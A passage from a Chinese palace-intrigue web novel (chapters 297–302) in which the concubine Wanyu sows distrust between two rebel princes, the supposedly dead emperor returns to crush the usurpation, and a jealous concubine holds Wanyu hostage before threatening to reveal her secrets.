晚余苦笑:“两位王爷是什么样的人物,岂是我一介妇人三言两语能挑唆的? 况且皇上写信给我的时候,一切都还没有发生,难道皇上未卜先知,提前就知道两位王爷要进京吗? 如果皇上提前就知道了,局势又怎会走到现在这一步?” 她的话真真假假,虚实难辨,长平王皱着眉,陷入长久的沉默。 晚余趁机从袖中取出一封信递到他面前:“王爷自己看吧,若实在不信,可以找您信任的官员去鉴定皇上的笔迹。” 长平王眸光微动,却未急着去接,半是玩笑半是认真道:“娘娘不会在信中藏毒吧?” 晚余很是无语:“王爷都敢带兵围困京城了,却连一封信都不敢看吗?” “本王不是不敢,是谨慎。”长平王对她的激将法无动于衷,“这里没旁人,娘娘不妨亲自打开给本王看。” “好吧!”晚余点点头,自己动手把信纸从信封里抽出来,展开在他面前。 长平王负手在身后,凑过去看那信上的内容。 “中山王拥兵自重,鹰视狼顾,恐有不臣之心,朕与沈将军此番若有不测,可召长平王入京勤王。 若天佑我朝,贞妃若诞育皇子,即奉为新君,长平王以皇叔之尊摄政辅国,若为公主,由长平王会同三公九卿共议新君人选。 此诏关乎国本,非万不得已不得公开,祖宗基业,尽托于卿,慎之,慎之。” 长平王的目光在字句间缓缓掠过,最终停在末尾的那方朱红色的印章上。 印章是九叠篆刻的四个字——盛和御笔。 盛和,是祁让的年号。 长平王盯着那四个字看了半晌,抬眸望向晚余:“娘娘可知,假传圣旨,伪造圣上密函,乃是诛九族的大罪?” 晚余指尖微动,面上波澜不惊:“本宫一介弱女,先前被禁足承乾宫,如今被禁足寿康宫,本宫没有本事也没有机会造假,王爷若不信,可以拿去找人鉴定,只一点,千万别让中山王知晓。” 长平王静静看着她,神色仍旧温和,目光却透出几分锐利:“据说徐掌印与娘娘关系匪浅,娘娘怎么不把信给他?” 晚余紧绷着神经,字斟句酌道:“本宫不是不信他,但他最近和中山王走得太近,本宫不得不谨慎。” 长平王笑起来:“本王与中山王走得更近,娘娘就不怕本王直接把这信拿给中山王看吗?” 晚余说:“王爷若当真如此,本宫无话可说,只能认命。” “认命?”长平王挑眉,意味深长,“娘娘看起来可不像是轻易认命的人。” “王爷更不是。”晚余说,“王爷若志不在此,咱们二人可能这辈子都不会相见,更不会有今日的佛堂密会。” 长平王笑起来,还要说什么,紫苏在外面轻声道:“娘娘,有人来了。” 﨔 第297章 先弄死一个再说 长平王神色一凛,从晚余手里抽出那封信收入袖中,转身朝外走去:“娘娘保重,本王会再来的。” 晚余默然而立,看着他迈步出了门,那一袭浅杏色蟒袍渐渐融进晨光日影里。 佛堂内安静下来,只余满室檀香袅袅。 晚余缓缓呼出一口气,后背一片湿凉。 紫苏走进来搀扶她:“娘娘,您还好吗?” 晚余借着她的力道,身子松弛下来:“我没事,等会儿你去告诉胡尽忠,让他再去找一下来喜,让来喜把这件事告诉徐掌印。” “好,奴婢先送娘娘回去。”紫苏答应一声,扶着她往外走,“娘娘,皇上不都安排好了吗,您又何必冒险?” 晚余说:“计划赶不上变化,咱们不能单指望皇上,万一皇上那边有变,咱们岂不要坐着等死。” 紫苏心中不安:“娘娘觉得长平王会信吗?” 晚余唇角微弯:“他信不信我不要紧,要紧的是中山王不会再信他。” 长平王佛堂密会晚余的事,很快就有人告诉了中山王。 中山王听完,脸色阴沉了许久,却没有去质问长平王。 到了晚上,长平王主动来找他,把晚余给自己的信拿给他看,又把晚余和自己说的话一五一十都告诉了他。 中山王大为震惊,一则是为了这封信,二则是为了长平王的坦诚。 他扪心自问,如果他拿到这样一封信,是绝对不会告诉长平王的。 幸好他没有直接去问长平王,否则既显得他小肚鸡肠,又暴露了他派人盯梢长平王的事情。 于是,他假装什么都不知道,吃惊地问长平王:“你确定这是皇上的亲笔信吗?” 长平王说自己已经找人鉴定过,确认是皇上的笔迹才来告诉他的。 中山王半真半假道:“既然皇上如此信任你,如果皇上当真不能活着回来,这大邺的江山就托付给你了。” 长平王认真唤了他一声哥哥:“哥哥也不用拿话试我,若非皇上要削咱们的藩,我压根不会动兴兵的念头,如今来了京城,也是为了助哥哥一臂之力。 我自个有几斤几两,我自个清楚,只希望哥哥来日登了高位,把我们长平王府的荣华富贵延续下去,让我的子孙后代再享几百年的福。” 中山王哈哈大笑,拍着胸脯保证道:“好兄弟,哥哥若登了高位,你必然是头号的功臣,江山分你一半都使得,何况荣华富贵。” 长平王也跟着笑,只是笑意未达眼底。 “徐清盏和贞妃,一个向着哥哥,一个向着我,不用想也知道他们是在挑拨离间,哥哥千万不要听信他们的话,坏了咱们兄弟的情份。” 中山王握住他的肩膀用力拍了两下:“好兄弟,你放心,哥哥不是傻子,哥哥心里有数。” “哥哥有数就好。”长平王说,“反正现在朝堂已经换成了咱们的人,依我之见,咱们先按兵不动,等皇上的尸体找到之后,咱们也不跟他们废话,哥哥直接往金銮殿上一坐,万事大吉。” 中山王再次放声大笑:“咱们兄弟心有灵犀,哥也是这么想的,随便他们怎么挑拨,咱们以不变应万变,还是打捞尸体要紧。” 两人误会解除,相谈甚欢,密谋到深夜才尽兴而归。 接下来的两天,长平王都没有再单独会见晚余。 晚余也不着急,像什么都没发生过一样,安安生生待在寿康宫,有时陪静安太妃说话,有时去找乌兰雅玩,有时也会在院子里和别的妃嫔闲话几句家常。 嘉华公主年纪小,在房里待不住,每天都要出来玩耍,晚余如果遇到她,就会和她玩一会儿,在她童言童语里得到短暂的放松。 庄妃一开始很谨慎,生怕嘉华公主不小心冲撞了她。 后来见她们玩得很高兴,也就没那么紧张了,有时也会和晚余说一说怀孩子的经验。 其他妃嫔们实在闲得无聊,渐渐的也和她们凑在一处玩耍,就连兰贵妃都会翻着白眼站在旁边看热闹。 后宫妃嫔头一回出现如此和谐的局面,甚至可以称得上是其乐融融。 只有端妃是例外,非必要从不出门,整日在房中诵经理佛,对外界的一切漠不关心。 大家知她素来如此,便都默契地不去打扰她。 然而,平静和谐的日子并没有持续太久,三日后的清晨,一个噩耗从开封送达了京城。 黄河上的渔夫打捞到一具穿龙袍的尸身,经驻守开封的官员辨认,确认是皇上本人。 消息传入紫禁城,对于后宫妃嫔来说,无异于一道晴天霹雳,寿康宫里顿时哭声震天。 中山王从自己的亲信口中得到确切消息,大喜过望,立刻命人把长平王请到自己暂住的宫殿,又让人传令文武百官往金銮殿议事。 长平王过去的时候,中山王正在内殿更衣,长平王看着他身上的蟒袍,笑着建议他:“哥哥不是早就准备好了龙袍吗,何不直接换上龙袍去面见百官。” 中山王哈哈笑着摆手:“虽然是早晚的事,但也不能太心急,好像咱们就盼着这一天似的。” “可不就盼着这一天吗?”长平王摆手示意随从退下,自己亲自为中山王整理发冠。 “哥哥龙章凤姿,英武不凡,合该是要登临天下的。” 中山王心里美滋滋,仰天长笑。 长平王突然从袖中翻出一把匕首,寒光闪闪直取中山王的咽喉。 眼看着中山王就要血溅三尺,一道红色身影从长平王身后闪现。 “噗呲”一声,利刃刺入皮肉,长平王被人从后背到前胸捅了一个透心凉。 长平王发出一声短促的痛呼,捂着心口转过头,看到的是一张妖孽般的美人面。 﨔 第298章 皇上回宫 “徐,徐……”长平王震惊地瞪大眼睛,白净文雅的脸上已然呈现出死亡的颜色。 徐清盏狐狸眼里寒意森森:“王爷见谅,咱家也是不得已。” 长平王还有什么不明白的。 从贞妃娘娘找上自己的那天起,中山王就已经对他起了杀心。 今日即便他不动手,中山王也不会让他活着走到金銮殿。 他以为他主动向中山王交代实情,就能让中山王对他放下戒心,事实上,却是中山王的装傻充愣,让他放下了戒心。 “好,你真是我的好哥哥……”他转回头对着中山王笑,鲜血从嘴角流出来。 “你也是本王的好兄弟。”中山王一脸悲痛道,“好兄弟,你放心去吧,本王登基后,一定会为你风光大办,让你极尽哀荣,来世有缘,咱们再做兄弟。” 长平王指着他,大口喘息,一个字都没说出口,手便颓然垂落,身子直直向前倒去。 中山王往旁边闪了闪,长平王面朝下栽倒在地,短剑留在徐清盏手中,鲜血顺着剑尖滴落。 中山王哈哈笑道:“还好掌印拿的是短剑,要是长剑,就把我们哥俩串成一串了。” 徐清盏像是没听懂他的玩笑,吹着剑尖上的血珠淡淡道:“王爷别忘了你的承诺,事成之后,放我和贞妃娘娘远走高飞。” 中山王收了笑,正色道:“难怪皇上器重掌印,掌印果然是一把好用的刀,本王都有点舍不得了。” 徐清盏面无表情:“刀能伤人,也能伤己,王爷还是不要冲动为好。” 中山王不免有些讪讪:“掌印怎么一点玩笑都开不得?” 徐清盏说:“现在不是开玩笑的时候,王爷还是先坐上那个位子再笑吧! 中山王挑眉看他:“掌印是急着让本王登基,还是急着出宫和心上人双宿双飞?” 徐清盏眯了眯眼。 中山王以为他又要恼,谁知他却发出一声幽幽长叹:“我等这一天,已经等了六年了。” “掌印真是个痴情种。”中山王感慨道,“以掌印之见,本王几时登基为好?” 徐清盏说:“登基的事宜咱家早已为王爷预备齐全,太早显得心急,太晚又怕夜长梦多,就三日后吧,不早不晚,刚刚好。” “好,那就依掌印之言。”中山王呵呵笑着,抬脚踢了踢长平王的尸体,“长平王的大军还在城外,他的死讯先不要声张。” 然而,到了半夜,城外便传来急报,长平王的军队听闻中山王杀了长平王,和中山王的军队打起来了。 中山王从梦中惊醒,急急忙忙出城查看。 等他赶到城外,双方人马已经伤亡惨重。 所幸他的人马有五万之众,长平王的人马只有两万多人,最终被打得溃不成军,逃的逃,降的降,天亮前结束战斗,来时的七八万人,只剩下不到四万。 中山王气得要死,质问徐清盏,是不是他走漏的消息。 徐清盏说:“我一没兵,二没权,贞妃娘娘还被你的人看守着,我这样做对自己有什么好处?” 中山王答不上来,安排人在城外善后,自个又带着亲卫军回了紫禁城。 不管怎样,他得把紫禁城守住,一切都等他登基后再说。 两日后的清晨,紫禁城上空响起了震耳欲聋的鼓乐礼炮之声,中山王在百官的簇拥下前往承天殿举行登基大典。 礼乐声压过了紫禁城外所有的响动,连踏踏的马蹄声都被遮盖。 礼毕,中山王穿着自己早两年就做好的龙袍走进承天殿,怀着激动的心情,往那高高的玉阶之上闪着金光的龙椅走去。 走到一半,听到外面响起不寻常的动静,回头一看,大批的兵士如潮水一样排山倒海涌来,瞬间就将殿前广场围得密不透风。 中山王一个激灵,仿佛被人兜头泼了一盆冷水,从头到脚都凉透了。 “护驾,护驾!”他大声喊着,一群亲卫军围上来,将他严严实实护在中间。 他的那些大臣们都懵了,望着外面黑鸦鸦的兵士,面如土灰,瑟瑟发抖。 “皇上驾到!” 随着一声尖锐高亢的唱喏,许久不见的孙良言躬身引领着一道明黄色的高大身影,被一队玄甲兵士簇拥着走了进来。 皇上? 文武百官看到死了的祁让突然出现,全都像见鬼似的瞪大眼睛,呼啦啦跪了一地。 中山王从震惊中回过神,大声道:“起来,你们该跪的是本王,跪他作甚?” 祁让迈步上前,明黄的袍服带着风,胸前的五爪金龙张牙怒目地在云海间盘绕,帝王威仪,气吞山河,震慑四海,令人不敢直视。 大殿里明明那么多人,却没有一点声响,只有他的靴子踏在金砖上发出的声响,一步一步,沉稳有力,每一步都仿佛踏在人心尖上。 中山王站在亲卫军中间,脸色难看到了极点,祁让每上前一步,他就忍不住想往后退一步。 可他不能退,他得撑住场子,不能露怯。 祁让走到他面前站定,将他上下打量,狭长凤眸带出一抹嘲讽:“都登基了,还自称本王,果然不是当皇帝的材料。” 中山王顿时涨红了脸,冲他喊道:“王侯将相,宁有种乎?” 祁让嗤笑一声:“别人有种没种朕不知道,你若有种,别躲在侍卫后面,站出来,叫朕看看你的龙袍是哪个裁缝铺子做出来的。” 﨔 第299章 谁更冷血,谁更绝情 祁让轻慢的语气,让中山王倍感羞辱。 皇帝随便一件龙袍都要数十名皇家御用的顶尖绣娘耗时十几个月才能完成,光是金线雀羽都要用上万根。 自己身上的龙袍,虽然不是正经皇家织造局做的,但也花了不少心思,祁让居然说是裁缝铺子里做出来的。 这不明摆着讽刺他是个冒牌货吗? 虽然他的确不是正统皇族,但祁让连亲爹都杀,又能好到哪里去? 既然都是抢,凭什么他抢不得? 只要抢到手,谁敢说他不行? 中山王挺了挺胸,从侍卫身后走出来,和祁让相对而立。 “本王先祖忠义,是高祖御下第一功臣,高祖亲赐丹书铁券与护龙令,给予我们中山王府世袭罔替的尊荣。 圣上龙船在黄河沉没,本王持护龙令进京,受百官推举暂摄朝政,一为保社稷安稳,二为肃清朝堂,查明圣上遇难真相。 今日登基,也是因为得到了圣上崩逝的确切消息,上承天意,下顺民心,接替圣上掌管江山,既不曾兴兵篡位,也不曾弑君逼宫。 倒是圣上你变乱祖法,更张旧制,违背高祖意愿,为了削藩,不惜诈死设局,令朝野动荡,天下臣民惶恐,高祖在天有灵,岂容你这般儿戏?” 中山王好歹是坐镇一方的藩王,虽然雄才大略不及他的先祖,一番话倒也说得冠冕堂皇,掷地有声。 并且自认为气场不输于祁让,甚至比祁让还多占几分道理,倒要看看他如何反驳。 结果祁让只是漫不经心地挑了下眉:“真是难为你了,这么长的一番话,没个一年半载背不下来吧?” “……” 这刻薄的语气,差点没把中山王噎死,一张脸都憋成了猪肝色。 祁让又轻描淡写道:“你还有脸提你先祖,你先祖辅佐高祖成就霸业,九死一生,割肉伺君,忠义无双。 而今朕不过失踪几日,你便迫不及待率兵围困京城,登堂入室,撤换百官,囚禁朕的后宫,如此狼子野心,还敢自称忠义? 你若忠义,就该在听闻朕的死讯之后,会同三公九卿,从皇室宗亲当中挑选贤能者继承大统,再亲自前往开封为朕扶灵,而不是自个往这龙椅上面坐。” 他伸手指向玉阶上方,语带讥讽:“你不会以为只要坐到上面,就是名正言顺的皇帝了吧?” 说着又转身指向跪在地上瑟瑟发抖的百官:“你不会以为就凭这帮乌合之众,便能保你稳坐明堂吧?” “朕就是想看看,朝中都有哪些官员是你的人,没想到竟是些连朝堂都进不了的虾兵蟹将,他们能帮你想出方才那番冠冕堂皇的话,只怕也是用尽了毕生所学吧?” “……” 这下不止中山王怄的要死,跪在地上的官员也都面红耳赤,几欲吐血。 中山王恼羞成怒道:“你杀兄弑君,罔顾人伦,本就人人得而诛之。 本王之所以没有在那个时候兴兵讨伐,就是为了顾全大局,不忍天下百姓生灵涂炭。 你登基之后,非但不感念本王的苦心,还打起了削藩的主意,岂不令本王寒心?” 祁让冷笑:“你只说朕要削藩,为什么不说朕为何削藩?” “你僭越礼制,私造龙袍,苛敛赋税,侵占民田万顷,勾结边将朝臣,私蓄死士数万,甚至不惜借着黄河水患造谣滋事,诅咒妃嫔皇嗣,惑乱民心。” 他一件一件历数中山王罪行,忽而拔高声音,指着中山王厉声道:“上官瑜,以上罪名,朕可有一桩是冤枉你? 这些罪行,够不够朕将你上官一脉九族同诛,将你祖上掘坟鞭尸?” 中山王被他突然的怒喝吓得一哆嗦,心跳如同擂鼓,好半晌才理屈词穷道:“欲加之罪,何患无辞,本王没做过的事,绝不承认。” “欲加之罪?”祁让眯了眯眼,“莫说朕已然掌握了你所有的罪证,只说你身上这件龙袍,虽然是件水货,三个月内只怕也做不出来吧?难道你三个月前,就料定了朕会葬身黄河吗?” “……”中山王骇然色变,低头看着自己身上的龙袍,哑口无言。 祁让嗤笑:“你这般堂而皇之地将罪证穿在身上,却说朕欲加之罪,这欲加之罪,难道不是你自己给自己加上的吗?” 中山王无言以对,垂死挣扎:“本王有高祖所赐丹书铁券,先祖本人可免九死,子孙可免三死,皇上难道要违背高祖圣喻吗?” 祁让轻蔑地睨了他一眼:“你以为朕不知道,那丹书铁券最后一行写的什么吗? ‘非谋逆大罪,有司不得加刑’,可你偏偏就是谋逆大罪,便是你先祖在世,也救不了你。” 中山王穷途末路,仰天长笑:“那又怎样,就算丹书铁券保不了本王,本王也不会任你宰割,你的三宫六院,妻儿老小都在本王手里,本王今日若死在这里,她们都要给本王陪葬!” 祁让纹丝不动,眼中轻蔑之意更盛:“难道你就没有妻儿老小吗?” 中山王的笑声戛然而止。 祁让说:“朕与沈大将军趁着这段时间,分别去你和长平王的封地走了一遭,把你们二位的家眷都请到了京中。 本想让她们劝你们退兵,不曾想长平王那么轻易就死了,你们两人的军队还自相残杀起来。 八万人马死了四万,剩下那些,因为朕顺便带回了你那几个统军将领的家人,他们也没有抵抗,就让朕进城了。” 祁让缓缓抬手,手指轻摆。 很快,一队兵士便押着中山王的王妃和一众家眷出现在殿门外。 “王爷……” “父王……” 一家子跪在门外,哭声震天。 中山王看到自己的家人,脸上血色尽褪。 祁让说:“朕怕你不信,把他们带来给你看一眼,放心,朕不会为难女人和孩子。” 中山王牙关紧咬,神情痛苦纠结。 就在所有人都以为他会为了家人放弃抵抗时,他却大声吩咐自己的亲卫:“去把静安太妃和后宫妃嫔都带过来,本王倒要看看,皇上与本王,谁更冷血,谁更绝情。” 第300章 朕的女人,朕自己动手 殿中众人震惊不已,齐刷刷看向中山王。 中山王这是狗急跳墙,要和皇上鱼死网破了吗? 那可是中山王府几百多口人的性命啊! 祁让拧眉望着中山王,凤眸危险地眯起,眼中寒芒如刀锋闪过。 徐清盏突然上前一步,躬身抱拳:“皇上,臣已经在凌晨时分将看守寿康宫的兵士全部换下,现在寿康宫没有人能进得去,太妃和娘娘们都很安全,皇上不必担心。” “徐清盏!”中山王咬牙叫他的名字,气得说不出话。 徐清盏并不理会,继续对祁让禀道:“中山王掌权后,为了利用后宫妃嫔胁迫皇上以及各位妃嫔的家人,提出将各宫的主子娘娘们集中看管。 臣将计就计,建议他把各位主子娘娘集中到静安太妃的寿康宫,静安太妃年长,可以抚慰各位主子娘娘,同时也可避免各位主子娘娘被中山王和长平王的人骚扰。 截止目前为止,静安太妃和各位主子娘娘全都安然无恙,请皇上放心。” “好,你做得很好。”祁让微微颔首,毫不吝啬对他的赞扬,“有你在,朕再没有不放心的。” 中山王闻言面容扭曲,目眦欲裂:“徐清盏,亏本王如此信任你,你居然联合狗皇帝欺骗本王,你这该死的阉贼!” 徐清盏平静地看向他:“上一个这样骂咱家的人是安平伯,咱家割了他三千六百刀,王爷比安平伯还要魁梧,割四千刀想必不在话下。” 中山王双眼都要滴出血来,愤恨地盯着他看了几息,突然放声狂笑。 “徐清盏,你当真以为本王对你毫无防备吗,既然你不仁,就别怪本王不义,你可以换掉本王的兵士,你肯定想不到,后宫妃嫔里也有本王的人吧?” 徐清盏心里咯噔一下,不等他问出“那人是谁”,面朝龙椅方向站立的所有人已经全部屏息凝气,看向同一个方向。 后殿通往天子宝座的台阶上,晚余被一个妃嫔押着走了上去,那妃嫔整个躲在她后面,手里的匕首正抵在她高高隆起的腹部。 整个大殿一片死寂。 祁让的脸色瞬间冷沉下来,眼中杀意弥漫。 徐清盏也吃了一惊,迈步就要上前。 “别动,都别动!”那妃嫔握刀大喊,“谁敢上来,我就和贞妃同归于尽!” 祁让伸手拉住了徐清盏。 中山王得意大笑,被亲卫簇拥着走上了玉阶,从一个亲卫腰间抽出佩刀,刀刃抵在晚余脖子上。 “皇上不是要和本王比狠吗?本王就拿全家的性命和你赌一把,怎么样?” 祁让没理他,定定地看向那个妃嫔:“孙良言,她是谁?” 那妃嫔一张秀气的脸因羞愤而涨得通红。 她已经进宫快四年了,皇上连她是谁都不知道,即便到了这个时候,也不屑和她直接对话,而是去问孙良言。 孙良言看了看,躬身道:“回皇上的话,是住在延禧宫的丁宝林。” “丁宝林?”祁让皱眉,完全想不起自己的后宫有这么一号人。 孙良言又补充道:“之前是丁才人,上回因为和康嫔一起嘲讽贞妃娘娘,被皇上降为了宝林。” 祁让仍旧想不起来。 其实不光他想不起来,晚余一开始也没想起来。 刚刚在寿康宫,大家正在为中山王登基的消息感到恐慌,忽然有人来报,说皇上没死,并且带着大队人马杀回了紫禁城。 大家顿时欣喜若狂,抱在一起又哭又笑。 晚余虽然早有预料,心里也是高兴的。 谁知丁宝林突然在这个时候靠近,拿匕首控制了她,把所有人吓得惊声尖叫。 丁宝林一路押着她往承天殿来,不许任何人跟随,否则就要拿刀捅她的肚子。 丁宝林主动和晚余说了自己的来历,说她爹是中山王早年在京城安插的眼线,当初送她入宫,是为了让她在宫里打探消息,倘若她能怀上龙胎生下皇子,中山王就扶她儿子上位。 可她进宫几年,皇上一次都没临幸过她,至今还是处子之身。 现在,中山王掌握了朝堂,把她爹从礼部的员外郎提拔成了礼部尚书。 她也知道自己这样做是大逆不道,但她没有办法,因为中山王如果败北的话,她全家都要掉脑袋。 如果中山王胜出,不仅她全家飞黄腾达,她也可以做中山王的宠妃,而不是像现在这样,做一个无恩宠无子嗣的低等妃嫔,坐等老死宫中。 现在,她已经做好了最坏的打算,大不了和晚余同归于尽。 晚余却不想和她同归于尽,在她和中山王的双重挟持下,看向对面的祁让和徐清盏。 他们两个都在,唯独没有沈长安。 沈长安去哪了? 祁让看着晚余的视线在人群中来回穿梭,不用猜也知道她在找沈长安。 他们都这么久没见了,她却不肯多看他一眼。 祁让深吸一口气,现在不是计较这个的时候,就算要计较,也得等他把她救出来之后再说。 “皇上怎么不说话,是怕了吗?”中山王终于扭转了局面,十分得意,冲祁让大声道,“都说最是无情帝王家,本王拿全家和皇上赌一个女人,皇上都不敢吗?” 祁让面上不动声色,手指却不自觉捏紧了拇指上的翡翠扳指。 “你想怎么赌?”他强压怒火沉声问道。 中山王说:“很简单,妻儿和江山,皇上二选一,若选妻儿,就写下禅位的诏书,带她们娘儿俩远走高飞,若选江山,就把本王和全家都杀了,让你妻儿给本王全家陪葬。” 此言一出,殿中越发静的落针可闻,似乎连空气都为之凝固。 所有人的目光都集中在祁让身上。 祁让的目光却看向晚余。 晚余也看向他。 两人的视线隔空相交,谁都没有说话,像一场无声的告别。 晚余心想,祁让如果要选江山,她也是可以理解的。 严格来说,自己其实并不算是他的妻,肚子里的孩子也还没有出世,是男是女尚未可知。 他一个连亲爹都杀的人,还有什么是他舍弃不了的。 只要江山在手,女人和孩子,他想要多少就有多少。 但晚余也说不上来为什么,总觉得祁让不会这样选。 祁让明明不是一个值得她信任的人,这一刻,她却是相信他的。 她望着他的眼睛,从他深海般的眼底,读取着他想要告诉她的话。 中山王等的不耐烦,手中的刀往晚余脖颈上压了压,大声道:“皇上杀伐果断,雷厉风行,怎么今天竟如此优柔寡断?” 祁让向后伸手,沉声道:“拿朕的弓箭来!” 中山王心头一凛,不等他发问,已经有人将弓箭递到祁让手中。 “朕的人,不劳中山王动手。” 祁让挽弓搭箭,弓弦被他大力拉开,发出咯吱咯吱的声响,寒光闪闪的箭头,对准了晚余的眉心。 第301章 这人究竟是皇帝还是疯子 大殿上响起一片倒吸气的声音,所有人都惊得瞪大眼睛。 中山王也被祁让的举动惊呆,没想到他会亲自射杀贞妃。 自己的女人和孩子都能下得去手。 这人究竟是皇帝还是疯子? 自己果然还是狠不过他。 中山王握刀的手紧了又紧,手心都出了汗。 先前说得有多豪迈,现在的心就有多慌。 他不想死。 如果祁让真的射杀了贞妃,下一刻自己估计就会被射成刺猬。 “你怎么不说话?”他将刀刃又往晚余脖子上压了压,“你求他呀,你知不知道,只要他一松手,你和孩子就没命了?” 晚余的脖子被刀刃压出一道血线。 她感觉到了疼,反倒笑起来:“本宫都不怕,王爷怕什么?” “本王有什么好怕的。”中山王嘴硬道,“本王敢走这一步,早已将生死置之度外,本王只是想不明白,你不要自己的命也就算了,难道连孩子的性命也不在乎吗?” 晚余说:“王爷问出这样的话,看来丁宝林这个线人做得不太够格,她难道没和王爷说过,本宫根本不想要这个孩子吗?” 中山王愕然看着她,感觉她和祁让一样是个疯子。 祁让不在乎她,她不在乎孩子,这人质绑的有什么用? 倒不如把老太妃绑过来更有用。 被提到名字的丁宝林已经面无人色。 她知道贞妃不在意这个孩子,将来生下孩子也是要走的,她赌的是皇上舍不得。 皇上对贞妃和贞妃肚子里的孩子有多重视,整个紫禁城的人都知道。 她不信皇上真的会为了皇位射杀贞妃母子。 皇上看似瞄准了贞妃,谁知道他的箭会不会拐弯儿。 万一拐了弯儿,不是自己死,就是中山王死。 中山王死了,自己和全家同样也活不成。 “王爷……”她叫了一声,想提醒中山王不要上当。 可她刚一开口,祁让便松了手,羽箭“嗖”的一声射出,向着高台呼啸而去。 所有人都在这一刻屏住呼吸,包括晚余自己。 箭矢如流星,闪着寒光从晚余头顶飞过,深深没入龙椅后面的墙体。 中山王惊悚地看过去,浑身汗毛倒竖。 丁宝林也下意识地看过去。 就在这一弹指的时间,又是“嗖”的一道箭矢破空之声响起。 不等人们做出反应,又一支箭呼啸而至,势大力沉地射穿了中山王握刀的那只臂膀,强劲的力道带着他跄踉向后跌去。 “咣当”一声长刀落地,徐清盏在同一时间腾身而起,红色的身影犹如另一支离弦的箭射向高台,抬脚踹飞了丁宝林,一个起落间,便抱着晚余回到原地,将她轻飘飘放在地上。 “晚余。”祁让扔了弓,上前一步把晚余拥入怀中,面上看似淡定,声音却带了颤音。 直到这时,中山王和丁宝林的惨叫声才延迟般的响起。 实则并非延迟,而是一切发生得太快。 晚余的心扑通扑通直跳,在祁让怀里探出头,去寻找那个身影。 刚刚那个弹指间,所有人都被祁让的箭吸引的时候,只有她看到了,在她正前方引弓搭箭的沈长安。 中山王的亲卫惊慌失措作鸟兽散。 “拿下!”祁让厉声下令。 一群侍卫冲上高台,将中山王和丁宝林制住。 大脑在那一瞬间变得空白的众人,此时此刻才反应过来,回头去寻,就见沈长安一身亮银甲胄手挽重弓阔步走上前来。 高大的身躯,沉稳的步伐,坚定的目光,当年那个令京城所有女子为之痴迷的沈小侯爷,不知不觉间,已经成为令人胆战心惊的铁血将军。 人们恍然大悟,如同大梦初醒。 原来那只箭是他射的。 原来他和皇上和徐清盏,是在协同作战。 这得是什么样的默契,才能在完全没有经过商量的情况下,配合得如此精确,如此分毫不差? 还有贞妃本人,要有多信任他们,才能在面对两支迎面射来的利箭没有一丝慌乱? 她若惊慌躲闪,哪怕偏一点点,很有可能其中一箭射中的就是她。 可她愣是站在那里一动没动。 光是这份淡定,就不是谁都能做到的。 沈长安走到近前,向祁让抱拳行礼,开口却是在问晚余:“贞妃娘娘和龙胎可安好?” 晚余僵硬的身子直到这时候才放松下来,含泪看向沈长安,千言万语,只化作一句疏离又客气的回答:“多谢沈大将军,本宫和孩子无恙。” “娘娘不必言谢,这是为臣的职责。”沈长安也客气地回了她一句,眼底暗潮汹涌,却是一刻都不能在她身上停留。 祁让不动声色地紧了紧手臂,把晚余用力搂住。 徐清盏唯恐他们又暗自较劲,招手示意侍卫把中山王和丁宝林从高台带下来。 侍卫将人带下来,压跪在祁让面前。 祁让便揽着晚余的肩,居高临下地看着跪在地上的两个人。 中山王恨恨地瞪着祁让,肩头的血把龙袍染红了半边。 祁让啧了一声:“可惜了,这龙袍做了几年,穿一次就废了。” 中山王面容痛苦扭曲,嘴还是硬的:“不亏,一辈子能穿这么一回,也值了。” 祁让拧眉看他:“这是你的真心话吗?为了穿一次龙袍,赔上九族的性命,你当真觉得值吗?” 中山王顿时泄了气:“本王一人做事一人当,跟本王的家人族人都没关系,你要杀要剐,只管冲我来,放过我的家人。” “你觉得可能吗?”祁让轻蔑道,“你刚刚不是还很硬气地要拿他们和朕打赌吗,怎么这会子又良心发现了?” “……”中山王哑口无言。 成王败寇,再说什么也是枉然。 祁让又看向丁宝林。 丁宝林跪在地上,流了满脸的泪。 入宫近四年,她天天想,夜夜盼,盼道皇上有一天能注意到她,给她哪怕一点点的恩宠。 今天,皇上的目光终于落在了她身上,却不是给她恩宠,而是要她的命。 皇上没有将她一箭穿心,想必已经是对她最后的仁慈了吧? 她和江晚余说,她无所谓跟着谁,只要能做宠妃,跟着中山王也行。 其实不是的,她从第一眼见到皇上,就不可自拔地陷了进去。 无数个不眠的夜,躺在床上幻想着皇上哪一天会翻她的牌子。 如果这辈子能和那个天神一般的男人有那么一两回,死也值了。 她流着泪,望着祁让俊美的脸,等着祁让来质问她。 她这辈子的愿望注定要落空了,这一次,将是他们第一次,也是唯一的一次对话。 她想,哪怕是死,至少自己总算和他说上话了。 至少他以后会记得,有自己这么一个人。 然而,祁让却只是静静地看了她片刻,一句话都没和她说,就摆手示意侍卫把她带下去。 她愕然看着祁让,没想到自己这样一个小小的愿望都不能实现。 侍卫将她拖起来往外走,她突然发了疯似地喊起来:“皇上,你为什么要这样对我,我到底哪里不好,竟让你连一句话都不愿意和我说? 我对你一片痴心,你看都不看我一眼,却把一个根本不爱你的女人视若珍宝,你知道江晚余为了摆脱你,都干了什么吗?” 第302章 大家一起下地狱 这一嗓子喊出来,把殿中所有人都吓得一个激灵。 晚余心下一沉,一种不好的预感油然而生。 徐清盏和沈长安也同时变了脸色。 孙良言冲侍卫着急大喊:“都愣着干什么,还不快堵上嘴拖出去!” “慢着!”祁让抬手制止了侍卫的动作,沉声下达命令,“清场,让她说。” 孙良言知道皇上这是当了真,再想阻拦已经来不及,只得照他的吩咐行事。 殿中众人如潮水退去。 中山王那班子临时拼凑的文武百官也被尽数带走。 丁宝林那个被中山王任命为礼部尚书的亲爹也在其中,但他愣是没敢为自己女儿求一句情。 殿中一时安静下来,只剩下祁让和晚余,沈长安和徐清盏,还有中山王和丁宝林,还有一个愁得肠子打结的孙良言。 祁让直到这时,一只手还揽在晚余肩上。 晚余僵硬着身子,清晰地感觉到他逐渐冷凝的情绪。 “说吧!”祁让缓缓开口,语气没有什么波澜。 “皇上……”徐清盏叫了他一声。 “闭嘴,朕要听她说!”祁让厉声喝止。 丁宝林知道自己必死无疑,到了这时候,索性豁出去了,临死也要拉个垫背的。 “反正嫔妾是要死的人了,也没什么好怕的,既然皇上要听,嫔妾就告诉皇上。 当初江晚余要出宫的最后一晚,淑妃借着给李美人办生辰宴把皇上请走,其实就是江晚余和徐清盏联合淑妃一起给皇上做的一个局。” 晚余脑子嗡的一声,下意识就要打断她。 祁让阴沉着脸,揽在她肩上的手蓦地收紧,握住她圆润的肩头。 她便不敢再吭声。 